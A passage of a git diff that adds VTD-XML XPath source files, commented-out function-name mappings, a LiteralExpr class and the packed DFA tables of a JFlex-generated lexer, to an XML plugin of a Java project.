+// case FuncName.SUBSTRING_AFTER: return "substring-after"; +// case FuncName.SUBSTRING: return "substring"; +// case FuncName.STRING_LENGTH: return "string-length"; +// case FuncName.NORMALIZE_SPACE: return "normalize-space"; +// case FuncName.TRANSLATE: return "translate"; +// case FuncName.BOOLEAN: return "boolean"; +// case FuncName.NOT: return "not"; +// case FuncName.TRUE: return "true"; +// case FuncName.FALSE: return "false"; +// case FuncName.LANG: return "lang"; +// case FuncName.NUMBER: return "number"; +// case FuncName.SUM: return "sum"; +// case FuncName.FLOOR: return "floor"; +// case FuncName.CEILING: return "ceiling"; +// case FuncName.ROUND: return "round"; +//// added for 2.0 +// case FuncName.ABS: return "abs"; +// case FuncName.ROUND_HALF_TO_EVEN : +// return "round-half-to-even"; +// case FuncName.ROUND_HALF_TO_ODD: +// return "round-half-to-odd"; +// case FuncName.CODE_POINTS_TO_STRING: +// return "code-points-to-string"; +// case FuncName.COMPARE: return "compare"; +// case FuncName.UPPER_CASE: return "upper-case"; +// case FuncName.LOWER_CASE: return "lower-case"; +// case FuncName.ENDS_WITH: return "ends-with"; +// case FuncName.QNAME: return "QName"; +// case FuncName.LOCAL_NAME_FROM_QNAME: +// return "local-name-from-QName"; +// case FuncName.NAMESPACE_URI_FROM_QNAME: +// return "namespace-uri-from-QName"; +// case FuncName.NAMESPACE_URI_FOR_PREFIX: +// return "namespace-uri-for-prefix"; +// case FuncName.RESOLVE_QNAME: return "resolve-QName"; +// case FuncName.IRI_TO_URI: return "iri-to-uri"; +// case FuncName.ESCAPE_HTML_URI: return "escape-html-uri"; +// default: return "encode-for-uri"; +// } +// } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/LiteralExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/LiteralExpr.java new file mode 100644 index 0000000..d2b7fc7 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/LiteralExpr.java @@ -0,0 +1,97 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended.xpath; +import com.ximpleware.extended.*; +/** + * This class represents a literal string XPath expression + * + */ +public class LiteralExpr extends Expr { + public String s; + public LiteralExpr (String st){ + s = st; + } + public String toString(){ + boolean b = true; + for(int i = 0;iJFlex 1.4.1 + * on 9/21/09 2:31 PM from the specification file + * C:/Documents and Settings/HP_Administrator/workspace/ximple-dev/com/ximpleware/extended/xpath/scanner.flex + */ +class Yylex extends sym implements java_cup.runtime.Scanner { + + /** This character denotes the end of file */ + public static final int YYEOF = -1; + + /** initial size of the lookahead buffer */ + private static final int ZZ_BUFFERSIZE = 16384; + + /** lexical states */ + public static final int YYINITIAL = 0; + + /** + * Translates characters to character classes + */ + private static final String ZZ_CMAP_PACKED = + "\11\0\1\1\1\1\2\0\1\1\22\0\1\1\1\20\1\55\1\0"+ + "\1\21\1\0\1\0\1\56\1\11\1\12\1\22\1\6\1\10\1\4"+ + "\1\5\1\23\12\2\1\3\1\0\1\16\1\17\1\15\1\0\1\7"+ + "\15\0\1\53\2\0\1\52\11\0\1\13\1\0\1\14\1\0\1\0"+ + "\1\0\1\31\1\47\1\41\1\24\1\43\1\50\1\44\1\46\1\25"+ + "\2\0\1\35\1\27\1\32\1\30\1\40\1\0\1\33\1\36\1\37"+ + "\1\42\1\26\1\45\1\54\1\0\1\51\1\0\1\34\uff83\0"; + + /** + * Translates characters to character classes + */ + private static final char [] ZZ_CMAP = zzUnpackCMap(ZZ_CMAP_PACKED); + + /** + * Translates DFA states to action switch labels. + */ + private static final int [] ZZ_ACTION = zzUnpackAction(); + + private static final String ZZ_ACTION_PACKED_0 = + "\1\0\1\1\1\2\1\3\1\4\1\5\1\6\1\7"+ + "\1\10\1\11\1\12\1\13\1\14\1\15\1\16\1\17"+ + "\1\20\1\4\1\21\1\22\1\23\7\1\1\24\12\1"+ + "\2\4\1\0\2\3\1\25\1\26\1\27\1\30\1\31"+ + "\4\1\1\32\35\1\1\0\1\33\1\0\1\1\1\34"+ + "\1\35\2\1\1\36\1\37\55\1\1\0\1\40\2\1"+ + "\1\0\1\41\12\1\1\0\1\42\36\1\2\0\1\1"+ + "\1\0\1\43\6\1\1\0\1\44\1\0\1\45\3\1"+ + "\2\0\1\1\1\0\1\46\2\0\31\1\1\47\3\1"+ + "\1\0\1\1\1\50\6\1\1\0\1\51\1\1\1\52"+ + "\11\1\1\0\1\53\1\1\2\0\6\1\1\0\1\54"+ + "\1\0\1\55\1\0\1\56\6\1\1\0\1\57\5\1"+ + "\1\0\1\1\1\60\3\1\2\0\6\1\1\0\1\61"+ + "\1\1\1\0\1\62\25\1\1\0\1\63\3\1\3\0"+ + "\1\64\1\1\1\0\1\65\4\1\1\0\1\66\3\1"+ + "\2\0\14\1\1\0\1\67\3\1\1\70\1\0\1\71"+ + "\7\1\1\0\1\72\1\1\2\0\1\1\2\0\7\1"+ + "\1\0\1\1\1\73\1\0\1\74\1\1\2\0\3\1"+ + "\1\0\1\75\2\1\2\0\1\1\2\0\1\1\1\0"+ + "\1\76\1\1\1\0\1\77\1\1\1\0\1\100\3\1"+ + "\1\0\1\1\1\101\1\0\1\102\5\1\1\0\1\103"+ + "\2\1\1\0\1\104\2\1\1\0\1\105\1\1\1\0"+ + "\1\106\7\1\1\0\1\107\34\1\1\0\1\1\1\110"+ + "\1\1\1\0\1\111\1\1\1\0\1\112\24\1\1\0"+ + "\1\113\4\1\1\0\1\114\5\1\1\0\1\115\4\1"+ + "\1\0\1\116\2\1\2\0\5\1\1\0\1\117\5\1"+ + "\1\0\1\120\2\1\1\0\1\121\3\1\2\0\1\1"+ + "\4\0\2\1\1\0\1\122\2\1\1\0\1\123\1\1"+ + "\1\0\1\124\1\0\1\125\14\1\1\0\1\126\1\1"+ + "\1\0\1\127\2\1\2\0\2\1\1\130\1\0\1\131"+ + "\1\0\1\132"; + + private static int [] zzUnpackAction() { + int [] result = new int[612]; + int offset = 0; + offset = zzUnpackAction(ZZ_ACTION_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackAction(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + do result[j++] = value; while (--count > 0); + } + return j; + } + + + /** + * Translates a state to a row index in the transition table + */ + private static final int [] ZZ_ROWMAP = zzUnpackRowMap(); + + private static final String ZZ_ROWMAP_PACKED_0 = + "\0\0\0\57\0\136\0\215\0\274\0\274\0\353\0\274"+ + "\0\274\0\274\0\274\0\274\0\274\0\274\0\u011a\0\u0149"+ + "\0\274\0\u0178\0\274\0\274\0\u01a7\0\u01d6\0\u0205\0\u0234"+ + "\0\u0263\0\u0292\0\u02c1\0\u02f0\0\274\0\u031f\0\u034e\0\u037d"+ + "\0\u03ac\0\u03db\0\u040a\0\u0439\0\u0468\0\u0497\0\u04c6\0\u04f5"+ + "\0\u0524\0\u0553\0\u0582\0\u05b1\0\57\0\274\0\274\0\274"+ + "\0\274\0\u05e0\0\u060f\0\u063e\0\u066d\0\57\0\u069c\0\u06cb"+ + "\0\u06fa\0\u0729\0\u0758\0\u0787\0\u07b6\0\u07e5\0\u0814\0\u0843"+ + "\0\u0872\0\u08a1\0\u08d0\0\u08ff\0\u092e\0\u095d\0\u098c\0\u09bb"+ + "\0\u09ea\0\u0a19\0\u0a48\0\u0a77\0\u0aa6\0\u0ad5\0\u0b04\0\u0b33"+ + "\0\u0b62\0\u0b91\0\u0bc0\0\u04f5\0\274\0\u0524\0\u0bef\0\274"+ + "\0\57\0\u0c1e\0\u0c4d\0\57\0\57\0\u0c7c\0\u0cab\0\u0cda"+ + "\0\u0d09\0\u0d38\0\u0d67\0\u0d96\0\u0dc5\0\u0df4\0\u0e23\0\u0e52"+ + "\0\u0e81\0\u0eb0\0\u0edf\0\u0f0e\0\u0f3d\0\u0f6c\0\u0f9b\0\u0fca"+ + "\0\u0ff9\0\u1028\0\u1057\0\u1086\0\u10b5\0\u10e4\0\u1113\0\u1142"+ + "\0\u1171\0\u11a0\0\u11cf\0\u11fe\0\u122d\0\u125c\0\u128b\0\u12ba"+ + "\0\u12e9\0\u1318\0\u1347\0\u1376\0\u13a5\0\u13d4\0\u1403\0\u1432"+ + "\0\u1461\0\u1490\0\u14bf\0\274\0\u14ee\0\u151d\0\u154c\0\274"+ + "\0\u157b\0\u15aa\0\u15d9\0\u1608\0\u1637\0\u1666\0\u1695\0\u16c4"+ + "\0\u16f3\0\u1722\0\u1751\0\274\0\u1780\0\u17af\0\u17de\0\u180d"+ + "\0\u183c\0\u186b\0\u189a\0\u18c9\0\u18f8\0\u1927\0\u1956\0\u1985"+ + "\0\u19b4\0\u19e3\0\u1a12\0\u1a41\0\u1a70\0\u1a9f\0\u1ace\0\u1afd"+ + "\0\u1b2c\0\u1b5b\0\u1b8a\0\u1bb9\0\u1be8\0\u1c17\0\u1c46\0\u1c75"+ + "\0\u1ca4\0\u1cd3\0\u1d02\0\u1d31\0\u1d60\0\u1d8f\0\274\0\u1dbe"+ + "\0\u1ded\0\u1e1c\0\u1e4b\0\u1e7a\0\u1ea9\0\u1ed8\0\274\0\u1f07"+ + "\0\274\0\u1f36\0\u1f65\0\u1f94\0\u1fc3\0\u1ff2\0\u2021\0\u2050"+ + "\0\274\0\u207f\0\u20ae\0\u20dd\0\u210c\0\u213b\0\u216a\0\u2199"+ + "\0\u21c8\0\u21f7\0\u2226\0\u2255\0\u2284\0\u22b3\0\u22e2\0\u2311"+ + "\0\u2340\0\u236f\0\u239e\0\u23cd\0\u23fc\0\u242b\0\u245a\0\u2489"+ + "\0\u24b8\0\u24e7\0\u2516\0\u2545\0\274\0\u2574\0\u25a3\0\u25d2"+ + "\0\u2601\0\u2630\0\274\0\u265f\0\u268e\0\u26bd\0\u26ec\0\u271b"+ + "\0\u274a\0\u2779\0\274\0\u27a8\0\274\0\u27d7\0\u2806\0\u2835"+ + "\0\u2864\0\u2893\0\u28c2\0\u28f1\0\u2920\0\u294f\0\u297e\0\274"+ + "\0\u29ad\0\u29dc\0\u2a0b\0\u2a3a\0\u2a69\0\u2a98\0\u2ac7\0\u2af6"+ + "\0\u2b25\0\u2b54\0\274\0\u2b83\0\274\0\u2bb2\0\274\0\u2be1"+ + "\0\u2c10\0\u2c3f\0\u2c6e\0\u2c9d\0\u2ccc\0\u2cfb\0\274\0\u2d2a"+ + "\0\u2d59\0\u2d88\0\u2db7\0\u2de6\0\u2e15\0\u2e44\0\274\0\u2e73"+ + "\0\u2ea2\0\u2ed1\0\u2f00\0\u2f2f\0\u2f5e\0\u2f8d\0\u2fbc\0\u2feb"+ + "\0\u301a\0\u3049\0\u3078\0\274\0\u30a7\0\u30d6\0\274\0\u3105"+ + "\0\u3134\0\u3163\0\u3192\0\u31c1\0\u31f0\0\u321f\0\u324e\0\u327d"+ + "\0\u32ac\0\u32db\0\u330a\0\u3339\0\u3368\0\u3397\0\u33c6\0\u33f5"+ + "\0\u3424\0\u3453\0\u3482\0\u34b1\0\u34e0\0\274\0\u350f\0\u353e"+ + "\0\u356d\0\u359c\0\u35cb\0\u35fa\0\274\0\u3629\0\u3658\0\274"+ + "\0\u3687\0\u36b6\0\u36e5\0\u3714\0\u3743\0\274\0\u3772\0\u37a1"+ + "\0\u37d0\0\u37ff\0\u382e\0\u385d\0\u388c\0\u38bb\0\u38ea\0\u3919"+ + "\0\u3948\0\u3977\0\u39a6\0\u39d5\0\u3a04\0\u3a33\0\u3a62\0\u3a91"+ + "\0\274\0\u3ac0\0\u3aef\0\u3b1e\0\274\0\u3b4d\0\274\0\u3b7c"+ + "\0\u3bab\0\u3bda\0\u3c09\0\u3c38\0\u3c67\0\u3c96\0\u3cc5\0\274"+ + "\0\u3cf4\0\u3d23\0\u3d52\0\u3d81\0\u3db0\0\u3ddf\0\u3e0e\0\u3e3d"+ + "\0\u3e6c\0\u3e9b\0\u3eca\0\u3ef9\0\u3f28\0\u3f57\0\u3f86\0\274"+ + "\0\u3fb5\0\274\0\u3fe4\0\u4013\0\u4042\0\u4071\0\u40a0\0\u40cf"+ + "\0\u40fe\0\274\0\u412d\0\u415c\0\u418b\0\u41ba\0\u41e9\0\u4218"+ + "\0\u4247\0\u4276\0\u42a5\0\274\0\u42d4\0\u4303\0\274\0\u4332"+ + "\0\u4361\0\274\0\u4390\0\u43bf\0\u43ee\0\u441d\0\u444c\0\274"+ + "\0\u447b\0\274\0\u44aa\0\u44d9\0\u4508\0\u4537\0\u4566\0\u4595"+ + "\0\274\0\u45c4\0\u45f3\0\u4622\0\274\0\u4651\0\u4680\0\u46af"+ + "\0\274\0\u46de\0\u470d\0\274\0\u473c\0\u476b\0\u479a\0\u47c9"+ + "\0\u47f8\0\u4827\0\u4856\0\u4885\0\274\0\u48b4\0\u48e3\0\u4912"+ + "\0\u4941\0\u4970\0\u499f\0\u49ce\0\u49fd\0\u4a2c\0\u4a5b\0\u4a8a"+ + "\0\u4ab9\0\u4ae8\0\u4b17\0\u4b46\0\u4b75\0\u4ba4\0\u4bd3\0\u4c02"+ + "\0\u4c31\0\u4c60\0\u4c8f\0\u4cbe\0\u4ced\0\u4d1c\0\u4d4b\0\u4d7a"+ + "\0\u4da9\0\u4dd8\0\u4e07\0\274\0\u4e36\0\u4e65\0\274\0\u4e94"+ + "\0\u4ec3\0\274\0\u4ef2\0\u4f21\0\u4f50\0\u4f7f\0\u4fae\0\u4fdd"+ + "\0\u500c\0\u503b\0\u506a\0\u5099\0\u50c8\0\u50f7\0\u5126\0\u5155"+ + "\0\u5184\0\u51b3\0\u51e2\0\u5211\0\u5240\0\u526f\0\u529e\0\274"+ + "\0\u52cd\0\u52fc\0\u532b\0\u535a\0\u5389\0\274\0\u53b8\0\u53e7"+ + "\0\u5416\0\u5445\0\u5474\0\u54a3\0\274\0\u54d2\0\u5501\0\u5530"+ + "\0\u555f\0\u558e\0\274\0\u55bd\0\u55ec\0\u561b\0\u564a\0\u5679"+ + "\0\u56a8\0\u56d7\0\u5706\0\u5735\0\u5764\0\274\0\u5793\0\u57c2"+ + "\0\u57f1\0\u5820\0\u584f\0\u587e\0\274\0\u58ad\0\u58dc\0\u590b"+ + "\0\274\0\u593a\0\u5969\0\u5998\0\u59c7\0\u59f6\0\u5a25\0\u5a54"+ + "\0\u5a83\0\u5ab2\0\u5ae1\0\u5b10\0\u5b3f\0\u5b6e\0\274\0\u5b9d"+ + "\0\u5bcc\0\u5bfb\0\274\0\u5c2a\0\u5c59\0\274\0\u5c88\0\274"+ + "\0\u5cb7\0\u5ce6\0\u5d15\0\u5d44\0\u5d73\0\u5da2\0\u5dd1\0\u5e00"+ + "\0\u5e2f\0\u5e5e\0\u5e8d\0\u5ebc\0\u5eeb\0\274\0\u5f1a\0\u5f49"+ + "\0\274\0\u5f78\0\u5fa7\0\u5fd6\0\u6005\0\u6034\0\u6063\0\274"+ + "\0\u6092\0\274\0\u60c1\0\274"; + + private static int [] zzUnpackRowMap() { + int [] result = new int[612]; + int offset = 0; + offset = zzUnpackRowMap(ZZ_ROWMAP_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackRowMap(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int high = packed.charAt(i++) << 16; + result[j++] = high | packed.charAt(i++); + } + return j; + } + + /** + * The transition table of the DFA + */ + private static final int [] ZZ_TRANS = zzUnpackTrans(); + + private static final String ZZ_TRANS_PACKED_0 = + "\1\2\1\3\1\4\1\5\1\6\1\7\1\10\1\11"+ + "\1\12\1\13\1\14\1\15\1\16\1\17\1\20\1\21"+ + "\1\22\1\23\1\24\1\25\1\26\1\27\1\2\1\30"+ + "\1\31\1\32\1\33\1\34\1\35\1\36\1\37\1\40"+ + "\1\41\1\42\1\43\1\44\3\2\1\45\1\46\1\2"+ + "\1\47\2\2\1\50\1\51\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\20\2\3\0\1\3\57\0"+ + "\1\4\2\0\1\53\130\0\1\2\1\0\1\54\1\52"+ + "\1\2\1\55\16\0\10\2\1\0\20\2\21\0\1\56"+ + "\56\0\1\57\56\0\1\60\62\0\1\61\33\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\1\2\1\62\6\2"+ + "\1\0\6\2\1\63\11\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\7\2\1\64\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\4\2\1\65"+ + "\3\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\7\2\1\66\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\67\1\2"+ + "\1\0\2\2\1\70\7\2\1\71\5\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\4\2\1\72\1\73"+ + "\2\2\1\0\5\2\1\74\12\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\4\2\1\75\3\2\1\0"+ + "\6\2\1\76\11\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\4\2\1\77\1\100\2\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\2\2\1\101\2\2\1\102\1\103\11\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\7\2\1\104"+ + "\1\0\6\2\1\105\11\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\4\2\1\106\1\107\1\2\1\110"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\4\2\1\111\3\2\1\0\6\2\1\112\2\2"+ + "\1\113\6\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\3\2\1\114\14\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\115\1\2"+ + "\1\0\1\2\1\116\16\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\4\2\1\117\3\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\4\2"+ + "\1\120\1\121\2\2\1\0\1\122\17\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\16\2"+ + "\1\123\1\2\2\0\55\124\1\125\1\124\56\126\1\125"+ + "\1\127\1\0\1\127\1\0\2\127\14\0\1\130\1\0"+ + "\10\127\1\0\20\127\4\0\1\53\54\0\1\2\1\0"+ + "\1\54\1\52\2\2\16\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\2\2\1\131"+ + "\5\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\1\2\1\132\16\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\1\2\1\133"+ + "\6\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\1\134\7\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\1\135\7\2\1\0"+ + "\4\2\1\136\13\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\2\2\1\137\15\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\1\2\1\140\16\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\1\141\6\2\1\142\1\0\2\2\1\143"+ + "\15\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\3\2\1\144\4\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\3\2\1\145\4\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\5\2\1\146\12\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\1\2\1\147"+ + "\16\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\4\2\1\150\3\2\1\151\7\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\6\2\1\152"+ + "\1\2\1\0\1\2\1\153\16\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\5\2\1\154\1\2\1\155"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\3\2\1\156\4\2\1\0\12\2\1\157\5\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\1\160\17\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\5\2\1\161\2\2\1\0\5\2\1\162"+ + "\12\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\17\2\1\163\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\2\1\164\16\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\7\2"+ + "\1\165\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\4\2\1\166\3\2\1\0\6\2\1\167"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\1\170\2\2\1\171\2\2\1\172\1\2\1\0\5\2"+ + "\1\173\12\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\1\2\1\174\6\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\1\2\1\175\6\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\3\2\1\176\14\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\1\177\7\2\1\0"+ + "\4\2\1\200\13\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\4\2\1\201\13\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\4\2\1\202"+ + "\3\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\1\203\17\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\1\204"+ + "\17\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\4\2\1\205\3\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\5\2\1\206\2\2\1\0"+ + "\20\2\2\0\1\127\1\0\1\127\1\0\2\127\16\0"+ + "\10\127\1\0\20\127\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\4\2\1\207\13\2\2\0"+ + "\1\2\1\0\1\2\1\52\1\210\1\2\16\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\6\2\1\211\11\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\7\2\1\212\1\0"+ + "\20\2\2\0\1\2\1\213\1\2\1\52\2\2\3\0"+ + "\1\214\12\0\10\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\215"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\3\2\1\216\4\2\1\0\20\2\2\0\1\2\1\217"+ + "\1\2\1\52\2\2\3\0\1\220\12\0\10\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\6\2\1\221\11\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\12\2\1\222"+ + "\5\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\6\2\1\223\1\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\4\2\1\224\3\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\5\2\1\225\2\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\226"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\7\2\1\227\10\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\2\2\1\230"+ + "\15\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\7\2\1\231\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\1\2\1\232\6\2\1\0\20\2"+ + "\2\0\1\2\1\233\1\2\1\52\2\2\3\0\1\234"+ + "\12\0\10\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\2\1\235\16\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\13\2\1\236\4\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\6\2\1\237\1\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\6\2\1\240\11\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\2\2\1\241\15\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\1\2"+ + "\1\242\6\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\6\2\1\243\11\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\4\2\1\244\13\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\4\2\1\245\13\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\6\2\1\246\11\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\3\2\1\247\4\2\1\0\3\2"+ + "\1\250\14\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\2\2\1\251\1\2\1\252\13\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\6\2"+ + "\1\253\1\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\254\17\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\1\255\17\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\6\2\1\256\11\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\1\2"+ + "\1\257\16\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\4\2\1\260\3\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\5\2\1\261\2\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\1\262\17\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\1\263\17\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\1\2\1\264\16\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\4\2\1\265\3\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\3\2"+ + "\1\266\4\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\6\2\1\267\11\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\2\2\1\270\15\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\2\1\271\16\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\1\2"+ + "\1\272\6\2\1\0\20\2\3\0\1\213\7\0\1\214"+ + "\45\0\1\2\1\273\1\2\1\52\2\2\3\0\1\274"+ + "\12\0\10\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\5\2\1\275\2\2\1\0\20\2"+ + "\3\0\1\217\7\0\1\220\45\0\1\2\1\276\1\2"+ + "\1\52\2\2\3\0\1\277\12\0\10\2\1\0\1\2"+ + "\1\300\16\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\6\2\1\301\11\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\1\302\7\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\1\303\17\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\304\17\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\7\2\1\305"+ + "\1\0\20\2\2\0\1\2\1\306\1\2\1\52\2\2"+ + "\3\0\1\307\12\0\10\2\1\0\20\2\2\0\1\2"+ + "\1\310\1\2\1\52\2\2\3\0\1\311\12\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\2\2\1\312\15\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\313\1\2"+ + "\1\0\20\2\3\0\1\233\7\0\1\234\45\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\2\2"+ + "\1\314\15\2\2\0\1\2\1\315\1\2\1\316\2\2"+ + 